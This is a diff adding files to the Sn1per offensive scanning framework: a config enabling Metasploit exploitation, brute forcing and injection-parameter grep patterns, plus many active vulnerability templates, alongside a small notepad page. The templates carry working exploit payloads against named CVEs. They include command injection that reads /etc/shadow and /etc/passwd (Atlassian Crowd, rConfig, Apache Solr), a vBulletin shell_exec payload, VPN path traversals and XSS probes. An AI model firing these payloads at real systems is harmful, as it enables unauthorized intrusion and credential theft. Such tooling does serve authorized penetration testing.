+    echo "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications_new.txt
+    if [[ "$SLACK_NOTIFICATIONS" == "1" ]]; then
+		/bin/bash "$INSTALL_DIR/bin/slack.sh" "[sn1persecurity.com] •?((¯°·._.• Finished Sn1per scan: $TARGET [$MODE] (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•"
+	fi
+	loot 
+	exit
+fi

pro/notepad.html

@@ -0,0 +1,37 @@
+<!DOCTYPE html>
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=US-ASCII">
+<title>Notepad App</title>
+<meta charset="utf-8">
+<!--[if lt IE 9]><script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script><![endif]-->
+<style>
+html,body{background:#FCFCFC;color:#444;height:100%;width:100%;margin:0;padding:0;overflow:hidden}
+#notepad{height:100%;width:100%;padding:1%;font-size:12px;line-height:100%;font-family:Menlo,Monaco,Consolas,"Courier New",monospace;box-sizing:border-box}
+::selection{background:#7D7}
+::-moz-selection{background:#7D7}
+</style>
+</head>
+<body>
+<textarea placeholder="Type here, see it here..."  id="notepad">
+<!--
+  you could do any element w/ contentEditable, but that doesn't fire onchange
+--> 
+</textarea>
+<script>
+/* localstorage polyfill from https://gist.github.com/350433 */
+("undefined"==typeof window.localStorage||"undefined"==typeof window.sessionStorage)&&function(){function e(f){function e(a){var b;b=new Date;b.setTime(b.getTime()+31536E6);document.cookie="localStorage="+a+("; expires="+b.toGMTString())+"; path=/"}function g(a){a=JSON.stringify(a);"session"==f?window.name=a:e(a)}var d=function(){var a;if("session"==f)a=window.name;else a:{a=document.cookie.split(";");var b,c;for(b=0;b<a.length;b++){for(c=a[b];" "==c.charAt(0);)c=c.substring(1,c.length);if(0==c.indexOf("localStorage=")){a=
+c.substring(13,c.length);break a}}a=null}return a?JSON.parse(a):{}}();return{length:0,clear:function(){d={};this.length=0;"session"==f?window.name="":e("")},getItem:function(a){return void 0===d[a]?null:d[a]},key:function(a){var b=0,c;for(c in d){if(b==a)return c;b++}return null},removeItem:function(a){delete d[a];this.length--;g(d)},setItem:function(a,b){d[a]=b+"";this.length++;g(d)}}}if("undefined"==typeof window.localStorage)window.localStorage=new e("local");if("undefined"==typeof window.sessionStorage)window.sessionStorage=
+new e("session")}();
+
+/* the code */
+	var n = document.getElementById("notepad");
+	/* save */
+	var s = function(){localStorage.setItem("notepad", n.value);}
+	/* retrieve (only on page load) */
+	if(window.localStorage){ n.value = localStorage.getItem("notepad");}
+	/* autosave onchange and every 500ms and when you close the window */
+	n.onchange = s();
+	setInterval( s, 500);
+	window.onunload = s();
+</script>
+</body></html>
+ 

sn1per.desktop

@@ -0,0 +1,12 @@
+[Desktop Entry]
+Name=sn1per
+Encoding=UTF-8
+Exec=bash-wrapper "sudo sniper"
+Icon=/usr/share/pixmaps/sn1per.png
+StartupNotify=false 
+Terminal=true
+Type=Application
+Categories=08-exploitation-tools;02-vulnerability-analysis;01-info-gathering;
+X-Kali-Package=sn1per
+Comment=
+Path=

sniper.conf

@@ -0,0 +1,251 @@
+INSTALL_DIR="/usr/share/sniper"
+SNIPER_PRO=$INSTALL_DIR/pro.sh
+PLUGINS_DIR="$INSTALL_DIR/plugins"
+
+# COLORS
+OKBLUE='\033[94m'
+OKRED='\033[91m'
+OKGREEN='\033[92m'
+OKORANGE='\033[93m'
+RESET='\e[0m'
+REGEX='^[0-9]+$'
+
+# AUX MODE OVERRIDE
+# AUTO_BRUTE="0"
+# FULLNMAPSCAN="0"
+# OSINT="0"
+VULNSCAN="0"
+
+# DEFAULT SETTINGS
+ENABLE_AUTO_UPDATES="1"
+REPORT="1"
+LOOT="1"
+
+# OUT OF SCOPE
+OUT_OF_SCOPE=("www.sn1persecurity.com" "sn1persecurity.com" "*.sn1persecurity.com")
+
+# SN1PER PROFESSIONAL SETTINGS
+SNIPER_PRO_CONSOLE_OUTPUT="0"
+SN1PER_AUTOLOAD="0"
+MAX_HOSTS="2000"
+
+# DEFAULT BROWSER
+BROWSER="firefox"
+
+# BURP 2.0 SCANNER CONFIG
+BURP_HOST="127.0.0.1"
+BURP_PORT="1338"
+
+# OPENVAS CONFIG
+OPENVAS="0"
+OPENVAS_HOST="127.0.0.1"
+OPENVAS_PORT="9390"
+OPENVAS_USERNAME="admin"
+OPENVAS_PASSWORD=""
+OPENVAS_RUNAS_USER="kali"
+
+# NESSUS CONFIG
+NESSUS="0"
+NESSUS_HOST="127.0.0.1:8834"
+NESSUS_USERNAME="admin"
+NESSUS_PASSWORD=""
+NESSUS_POLICY_ID="c3cbcd46-329f-a9ed-1077-554f8c2af33d0d44f09d736969bf"
+
+# METASPLOIT SCANNER CONFIG
+METASPLOIT_IMPORT="0"
+MSF_LHOST="127.0.0.1"
+MSF_LPORT="4444"
+
+# SHODAN API KEY
+SHODAN_API_KEY=""
+
+# CENSYS API KEYS
+CENSYS_APP_ID=""
+CENSYS_API_SECRET=""
+
+# HUNTER.IO API KEY
+HUNTERIO_KEY=""
+
+# TOMBA.IO API
+TOMBAIO_KEY=""
+TOMBAIO_SECRET=""
+
+# GITHUB API KEY
+GITHUB_API_KEY=""
+
+# WPSCAN API KEY
+WP_API_KEY=""
+
+# SLACK API
+SLACK_NOTIFICATIONS="0"
+SLACK_NOTIFICATIONS_THEHARVESTER="0"
+SLACK_NOTIFICATIONS_EMAIL_SECURITY="0"
+SLACK_NOTIFICATIONS_DOMAINS_NEW="0"
+SLACK_NOTIFICATIONS_TAKEOVERS_NEW="0"
+SLACK_NOTIFICATIONS_SUBOVER_NEW="0"
+SLACK_NOTIFICATIONS_SUBJACK_NEW="0"
+SLACK_NOTIFICATIONS_S3_BUCKETS="0"
+SLACK_NOTIFICATIONS_SUBNETS="0"
+SLACK_NOTIFICATIONS_DIRSEARCH_NEW="0"
+SLACK_NOTIFICATIONS_SPIDER_NEW="0"
+SLACK_NOTIFICATIONS_WHATWEB="0"
+SLACK_NOTIFICATIONS_NMAP="0"
+SLACK_NOTIFICATIONS_NMAP_DIFF="0"
+SLACK_NOTIFICATIONS_BRUTEFORCE="0"
+SLACK_NOTIFICATIONS_WHOIS="0"
+SLACK_NOTIFICATIONS_METAGOOFIL="0"
+SLACK_NOTIFICATIONS_ARACHNI_SCAN="0"
+SLACK_NOTIFICATIONS_EMAIL_FORMAT="0"
+
+# ACTIVE WEB BRUTE FORCE STAGES
+WEB_BRUTE_STEALTHSCAN="1"
+WEB_BRUTE_COMMONSCAN="1"
+WEB_BRUTE_FULLSCAN="0"
+WEB_BRUTE_EXPLOITSCAN="0"
+WEB_JAVASCRIPT_ANALYSIS="1"
+MAX_JAVASCRIPT_FILES="25"
+
+# WEB BRUTE FORCE WORDLISTS
+WEB_BRUTE_STEALTH="$INSTALL_DIR/wordlists/web-brute-stealth.txt"
+WEB_BRUTE_COMMON="$INSTALL_DIR/wordlists/web-brute-common.txt"
+WEB_BRUTE_FULL="$INSTALL_DIR/wordlists/web-brute-full.txt"
+WEB_BRUTE_EXPLOITS="$INSTALL_DIR/wordlists/web-brute-exploits.txt"
+WEB_BRUTE_EXTENSIONS="htm,html,asp,aspx,php,jsp,js"
+WEB_BRUTE_EXCLUDE_CODES="400,403,404,405,406,429,500,502,503,504"
+
+# GREP PATTERNS
+STATIC_GREP_SEARCH="1"
+GREP_MAX_LINES="10"
+GREP_INTERESTING_SUBDOMAINS="admin|jenkins|test|proxy|stage|test|dev|devops|staff|db|qa|internal"
+GREP_EXTENSIONS="\.action|\.adr|\.ascx|\.asmx|\.axd|\.backup|\.bak|\.bkf|\.bkp|\.bok|\.achee|\.cfg|\.cfm|\.cgi|\.cnf|\.conf|\.config|\.crt|\.csr|\.csv|\.dat|\.doc|\.docx|\.eml|\.env|\.exe|\.gz|\.ica|\.inf|\.ini|\.java|\.json|\.key|\.log|\.lst|\.mai|\.mbox|\.mbx|\.md|\.mdb|\.nsf|\.old|\.ora|\.pac|\.passwd|\.pcf|\.pdf|\.pem|\.pgp|\.pl| plist|\.pwd|\.rdp|\.reg|\.rtf|\.skr|\.sql|\.swf|\.tpl|\.txt|\.url|\.wml|\.xls|\.xlsx|\.xml|\.xsd|\.yml"
+GREP_PARAMETERS="template=|preview=|id=|view=|activity=|name=|content=|redirect=|(&|[?])access(&|=)|(&|[?])admin(&|=)|(&|[?])dbg(&|=)|(&|[?])debug(&|=)|(&|[?])edit(&|=)|(&|[?])grant(&|=)|(&|[?])test(&|=)|(&|[?])alter(&|=)|(&|[?])clone(&|=)|(&|[?])create(&|=)|(&|[?])delete(&|=)|(&|[?])disable(&|=)|(&|[?])enable(&|=)|(&|[?])exec(&|=)|(&|[?])execute(&|=)|(&|[?])load(&|=)|(&|[?])make(&|=)|(&|[?])modify(&|=)|(&|[?])rename(&|=)|(&|[?])reset(&|=)|(&|[?])shell(&|=)|(&|[?])toggle(&|=)|(&|[?])adm(&|=)|(&|[?])root(&|=)|(&|[?])cfg(&|=)|(&|[?])dest(&|=)|(&|[?])redirect(&|=)|(&|[?])uri(&|=)|(&|[?])path(&|=)|(&|[?])continue(&|=)|(&|[?])url(&|=)|(&|[?])window(&|=)|(&|[?])next(&|=)|(&|[?])data(&|=)|(&|[?])reference(&|=)|(&|[?])site(&|=)|(&|[?])html(&|=)|(&|[?])val(&|=)|(&|[?])validate(&|=)|(&|[?])domain(&|=)|(&|[?])callback(&|=)|(&|[?])return(&|=)|(&|[?])feed(&|=)|(&|[?])host(&|=)|(&|[?])port(&|=)|(&|[?])to(&|=)|(&|[?])out(&|=)|(&|[?])view(&|=)|(&|[?])dir(&|=)|(&|[?])show(&|=)|(&|[?])navigation(&|=)|(&|[?])open(&|=)|(&|[?])file(&|=)|(&|[?])document(&|=)|(&|[?])folder(&|=)|(&|[?])pg(&|=)|(&|[?])php_path(&|=)|(&|[?])style(&|=)|(&|[?])doc(&|=)|(&|[?])img(&|=)|(&|[?])filename(&|=)|id=|select=|report=|role=|update=|query=|user=|name=|sort=|where=|search=|params=|process=|row=|view=|table=|from=|sel=|results=|sleep=|fetch=|order=|keyword=|column=|field=|delete=|string=|number=|filter=|(&|[?])callback=|(&|[?])cgi-bin/redirect.cgi|(&|[?])checkout=|(&|[?])checkout_url=|(&|[?])continue=|(&|[?])data=|(&|[?])dest=|(&|[?])destination=|(&|[?])dir=|(&|[?])domain=|(&|[?])feed=|(&|[?])file=|(&|[?])file_name=|(&|[?])file_url=|(&|[?])folder=|(&|[?])folder_url=|(&|[?])forward=|(&|[?])from_url=|(&|[?])go=|(&|[?])goto=|(&|[?])host=|(&|[?])html=|(&|[?])image_url=|(&|[?])img_url=|(&|[?])load_file=|(&|[?])load_url=|(&|[?])login_url=|(&|[?])logout=|(&|[?])navigation=|(&|[?])next=|(&|[?])next_page=|(&|[?])Open=|(&|[?])out=|(&|[?])page_url=|(&|[?])path=|(&|[?])port=|(&|[?])redir=|(&|[?])redirect=|(&|[?])redirect_to=|(&|[?])redirect_uri=|(&|[?])redirect_url=|(&|[?])reference=|(&|[?])return=|(&|[?])return_path=|(&|[?])return_to=|(&|[?])returnTo=|(&|[?])return_url=|(&|[?])rt=|(&|[?])rurl=|(&|[?])show=|(&|[?])site=|(&|[?])target=|(&|[?])to=|(&|[?])uri=|(&|[?])url=|(&|[?])val=|(&|[?])validate=|(&|[?])view=|(&|[?])window=|daemon=|upload=|dir=|execute=|download=|log=|ip=|cli=|cmd=|file=|document=|folder=|root=|path=|pg=|style=|pdf=|template=|php_path=|doc=|page=|name=|id=|user=|account=|number=|order=|no=|doc=|key=|email=|group=|profile=|edit=|report=|access=|admin=|dbg=|debug=|edit=|grant=|test=|alter=|clone=|create=|delete=|disable=|enable=|exec=|execute=|load=|make=|modify=|rename=|reset=|shell=|toggle=|adm=|root=|cfg=|config="
+GREP_XSS="q=|s=|search=|lang=|keyword=|query=|page=|keywords=|year=|view=|email=|type=|name=|p=|callback=|jsonp=|api_key=|api=|password=|email=|emailto=|token=|username=|csrf_token=|unsubscribe_token=|id=|item=|page_id=|month=|immagine=|list_type=|url=|terms=|categoryid=|key=|l=|begindate=|enddate="
+GREP_SSRF="access|admin|dbg|debug|edit|grant|test|alter|clone|create|delete|disable|enable|exec|execute|load|make|modify|rename|reset|shell|toggle|adm|root|cfg|dest|redirect|uri|path|continue|url|window|next|data|reference|site|html|val|validate|domain|callback|return|page|feed|host|port|to|out|view|dir|show|navigation|open"
+GREP_REDIRECT="forward=|dest=|redirect=|uri=|path=|continue=|url=|window=|to=|out=|view=|dir=|show=|navigation=|Open=|file=|val=|validate=|domain=|callback=|return=|page=|feed=|host=|port=|next=|data=|reference=|site=|html="
+GREP_RCE="daemon|upload|dir|execute|download|log|ip|cli|cmd"
+GREP_IDOR="id|user|account|number|order|no|doc|key|email|group|profile|edit|report"
+GREP_SQL="id|select|report|role|update|query|user|name|sort|where|search|params|process|row|view|table|from|sel|results|sleep|fetch|order|keyword|column|field|delete|string|number|filter"
+GREP_LFI="file|document|folder|root|path|pg|style|pdf|template|php_path|doc"
+GREP_SSTI="template|preview|id|view|activity|name|content|redirect"
+GREP_DEBUG="access|admin|dbg|debug|edit|grant|test|alter|clone|create|delete|disable|enable|exec|execute|load|make|modify|rename|reset|shell|toggle|adm|root|cfg|config"
+
+# DOMAIN WORDLISTS
+DOMAINS_QUICK="$INSTALL_DIR/wordlists/domains-quick.txt"
+DOMAINS_DEFAULT="$INSTALL_DIR/wordlists/domains-default.txt"
+# DOMAINS_FULL="$INSTALL_DIR/wordlists/domains-all.txt"
+
+# DEFAULT USER/PASS WORDLISTS
+USER_FILE="/usr/share/brutex/wordlists/simple-users.txt"
+PASS_FILE="/usr/share/brutex/wordlists/password.lst"
+DNS_FILE="/usr/share/brutex/wordlists/namelist.txt"
+
+# TOOL DIRECTORIES
+SAMRDUMP="$INSTALL_DIR/bin/samrdump.py"
+INURLBR="$INSTALL_DIR/bin/inurlbr.php"
+
+# FLYOVER MODE TUNING
+FLYOVER_MAX_HOSTS="5"
+FLYOVER_DELAY="10"
+
+# NMAP OPTIONS
+NMAP_OPTIONS="--script-args http.useragent='' --open"
+
+# NMAP PORT CONFIGURATIONS
+QUICK_PORTS="21,22,80,443,8000,8080,8443"
+DEFAULT_PORTS="10000,1099,110,111,123,135,137,139,1433,1524,161,162,16992,2049,21,2121,2181,22,23,25,264,27017,27018,27019,28017,3128,3306,3310,3389,3632,389,443,4443,445,49152,49180,500,512,513,514,53,5432,5555,5800,5900,5984,623,624,6667,67,68,69,7001,79,80,8000,8001,8080,8180,8443,8888,9200,9495"
+FULL_PORTSCAN_PORTS="T:1-65535,U:53,U:67,U:68,U:69,U:88,U:161,U:162,U:137,U:138,U:139,U:389,U:500,U:520,U:2049"
+THREADS="100"
+
+# NETWORK PLUGINS
+NMAP_SCRIPTS="1"
+METASPLOIT_EXPLOIT="1"
+MSF_LEGACY_WEB_EXPLOITS="0"
+SSH_AUDIT="1"
+SSH_ENUM="1"
+LIBSSH_BYPASS="1"
+SMTP_USER_ENUM="1"
+FINGER_TOOL="1"
+SHOW_MOUNT="1"
+RPC_INFO="1"
+SMB_ENUM="1"
+AMAP="0"
+
+# OSINT PLUGINS
+WHOIS="1"
+GOOHAK="1"
+INURLBR="1"
+THEHARVESTER="1"
+METAGOOFIL="1"
+HUNTERIO="0"
+TOMBAIO="0"
+INTODNS="1"
+EMAILFORMAT="1"
+ULTRATOOLS="1"
+URLCRAZY="1"
+VHOSTS="0"
+H8MAIL="0"
+GITHUB_SECRETS="0"
+URLSCANIO="1"
+
+# DYNAMIC APPLICATION SCANNERS
+BURP_SCAN="0"
+ARACHNI_SCAN="0"
+ZAP_SCAN="0"
+
+# ACTIVE WEB PLUGINS
+SC0PE_VULNERABLITY_SCANNER="1"
+NUCLEI="1"
+DIRSEARCH="1"
+GOBUSTER="0"
+NIKTO="0"
+BLACKWIDOW="1"
+INJECTX="1"
+CLUSTERD="0"
+WPSCAN="0"
+CMSMAP="0"
+WAFWOOF="1"
+WHATWEB="1"
+WIG="0"
+SHOCKER="0"
+JEXBOSS="0"
+WEBTECH="1"
+SSL_INSECURE="1"
+HTTP_PROBE="0"
+SMUGGLER="1"
+
+# PASSIVE WEB PLUGINS
+WAYBACKMACHINE="1"
+SSL="1"
+PASSIVE_SPIDER="1"
+GAU="1"
+HACKERTARGET="1"
+CUTYCAPT="0"
+WEBSCREENSHOT="1"
+
+# EMAIL PLUGINS
+SPOOF_CHECK="1"
+
+# RECON PLUGINS
+SUBHIJACK_CHECK="0"
+AQUATONE="0"
+SLURP="0"
+SUBLIST3R="0"
+AMASS="0"
+SUBFINDER="0"
+DNSCAN="0"
+CRTSH="1"
+SUBOVER="0"
+PROJECT_SONAR="1"
+CENSYS_SUBDOMAINS="0"
+SUBNET_RETRIEVAL="1"
+SUBJACK="0"
+ALT_DNS="0"
+MASS_DNS="0"
+DNSGEN="0"
+SHODAN="0"
+ASN_CHECK="1"
+SPYSE="0"
+SUBBRUTE_DNS="0"
+GITHUB_SUBDOMAINS="0"
+RAPIDDNS="1"
+SCAN_ALL_DISCOVERED_DOMAINS="0"

templates/active/AWS_S3_Public_Bucket_Listing.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='AWS S3 Public Bucket Listing'
+URI=''
+METHOD='GET'
+MATCH="listbucket"
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/ApPHP_MicroBlog_Remote_Code_Execution_Vulnerability.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='ApPHP MicroBlog Remote Code Execution Vulnerability'
+URI='/index.php?b);phpinfo();echo(base64_decode('T3BlblZBUwo')=/'
+METHOD='GET'
+MATCH="<title>phpinfo\(\)"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/Apache_Solr_Scanner.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Apache Solr Detected'
+URI=''
+METHOD='GET'
+MATCH="Solr\ Admin"
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/Apache_Tomcat_Scanner.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='Apache Tomcat Detected'
+URI='/404_DOES_NOT_EXIST'
+METHOD='GET'
+MATCH="Apache\ Tomcat\/[0-9]?[0-9]\.[0-9]?[0-9]\.[0-9]?[0-9]"
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-o'

templates/active/AvantFAX_LOGIN_Detected.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='AvantFAX LOGIN Detected'
+URI=''
+METHOD='GET'
+MATCH="AvantFAX\ LOGIN"
+SEVERITY='P5 - INFO'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2018-13379_-_Fortigate_Pulse_Connect_Secure_Directory_Traversal.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2018-13379 - Fortigate Pulse Connect Secure Directory Traversal'
+URI='/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
+METHOD='GET'
+MATCH='\.\.\.\.\.\.\.\.\.\.\.\.\.'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-11510_-_Pulse_Connect_Secure_SSL_VPN_Arbitrary_File_Read.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-11510 - Pulse Connect Secure SSL VPN Arbitrary File Read'
+URI='/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'
+METHOD='GET'
+MATCH="root:*:"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-11580_-_Atlassian_Crowd_Data_Center_Unauthenticated_RCE.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-11580 - Atlassian Crowd Data Center Unauthenticated RCE'
+URI='/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow'
+METHOD='GET'
+MATCH="root:*:"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-11581_-_Jira_Template_Injection.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-11581 - Jira Template Injection'
+URI='/secure/ContactAdministrators!default.jspa'
+METHOD='GET'
+MATCH='Contact Site Administrators'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-1653_-_Cisco_RV320_RV326_Configuration_Disclosure.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-1653 - Cisco RV320 RV326 Configuration Disclosure'
+URI="/cgi-bin/config.exp"
+METHOD='GET'
+MATCH="sysconfig"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-16662_-_rConfig_3.9.2_Remote_Code_Execution.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-16662 - rConfig 3.9.2 Remote Code Execution'
+URI='/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3b%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%20%23'
+METHOD='GET'
+MATCH="root:*:"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS='--user-agent "" -s -L --insecure'
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-16759_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution'
+URI='/'
+METHOD='POST'
+MATCH='1787569'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS='-d "routestring=ajax%2Frender%2Fwidget_php&widgetConfig%5Bcode%5D=echo+shell_exec%28%27echo+$((1%2B1787568))%27%29%3B+exit%3B" -H "Content-Type: application/x-www-form-urlencoded" --user-agent "" -s -L --insecure'
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-16759_-_vBulletin_5.x_0-Day_Pre-Auth_Remote_Command_Execution_Bypass.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-16759 - vBulletin 5.x 0-Day Pre-Auth Remote Command Execution Bypass'
+URI='/ajax/render/widget_tabbedcontainer_tab_panel'
+METHOD='POST'
+MATCH='PHP\ Version'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS='-d "subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();" -H "Content-Type: application/x-www-form-urlencoded" --user-agent "" -s -L --insecure'
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-17558_-_Apache_Solr_RCE.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-17558 - Apache Solr RCE'
+URI='/solr/dovecot/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27cat%20/etc/passwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end'
+METHOD='GET'
+MATCH="root:*:"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-19719_Tableau_Server_DOM_XSS.py

@@ -0,0 +1,14 @@
+# Import any WebDriver class that you would usually import from
+# selenium.webdriver from the seleniumrequests module
+import sys
+from seleniumrequests import Firefox
+
+url = sys.argv[1]
+# Simple usage with built-in WebDrivers:
+webdriver = Firefox()
+response = webdriver.request('GET', '%s/en/embeddedAuthRedirect.html?auth=javascript:document.write(1+1336)' % url)
+if '1337' in response.text:
+	print("Vulnerable!")
+print(response.text)
+webdriver.quit()
+SECONDARY_COMMANDS=''

templates/active/CVE-2019-19781_-_Citrix_ADC_Directory_Traversal.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-19781 - Citrix ADC Directory Traversal'
+URI='/vpn/../vpns/cfg/smb.conf'
+METHOD='GET'
+MATCH='\[global\]'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-19908_-_phpMyChat-Plus_XSS.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-19908 - phpMyChat-Plus XSS'
+URI="/plus/pass_reset.php?L=english&pmc_username=%22%3E%3Cscript%3Ealert(1337)%3C/script%3E"
+METHOD='GET'
+MATCH="<script>alert\(1337\)<\/script>"
+SEVERITY='P2 - HIGH'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-5418_-_Rail_File_Content_Disclosure.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-5418 - File Content Disclosure on Rails'
+URI="/../../../../../../../../etc/passwd\{\{"
+METHOD='GET'
+MATCH="root:*:"
+SEVERITY='P2 - HIGH'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-6340_-_Drupal8_REST_RCE_SA-CORE-2019-003.disabled

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-6340 - Drupal8 REST RCE SA-CORE-2019-003'
+URI='/node/1?_format=hal_json'
+METHOD='GET'
+MATCH='INVALID_VALUE\ does\ not\ correspond'
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS='--user-agent "" -s -L --insecure -H "Content-Type: application/hal+json" --data \'{  "_links": {    "type": {      "href": "http://192.168.56.101/drupal-8.6.9/rest/type/node/INVALID_VALUE"    }  },  "type": {      "target_id": "article"  },  "title": {      "value": "My Article"  },  "body": {      "value": "some body content aaa bbb ccc"  }}\' '
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-7192_-_QNAP_Pre-Auth_Root_RCE.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-7192 - QNAP Pre-Auth Root RCE'
+URI='/photo/p/api/video.php'
+METHOD='GET'
+MATCH="\[\ 401\ Unauthorized\ \]"
+SEVERITY='P1 - CRITICAL'
+CURL_OPTS="--user-agent '' -s -L --insecure"
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-8442_-_Jira_Webroot_Directory_Traversal_1.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-8442 - Jira Webroot Directory Traversal 1'
+URI="/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml"
+METHOD='GET'
+MATCH='artifactId'
+SEVERITY='P2 - HIGH'
+CURL_OPTS='-L --user-agent '' -s --insecure'
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'

templates/active/CVE-2019-8442_-_Jira_Webroot_Directory_Traversal_2.sh

@@ -0,0 +1,9 @@
+AUTHOR='@xer0dayz'
+VULN_NAME='CVE-2019-8442 - Jira Webroot Directory Traversal 2'
+URI="/s/anything/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.properties"
+METHOD='GET'
+MATCH='artifactId'
+SEVERITY='P2 - HIGH'
+CURL_OPTS='-L --user-agent '' -s --insecure'
+SECONDARY_COMMANDS=''
+GREP_OPTIONS='-i'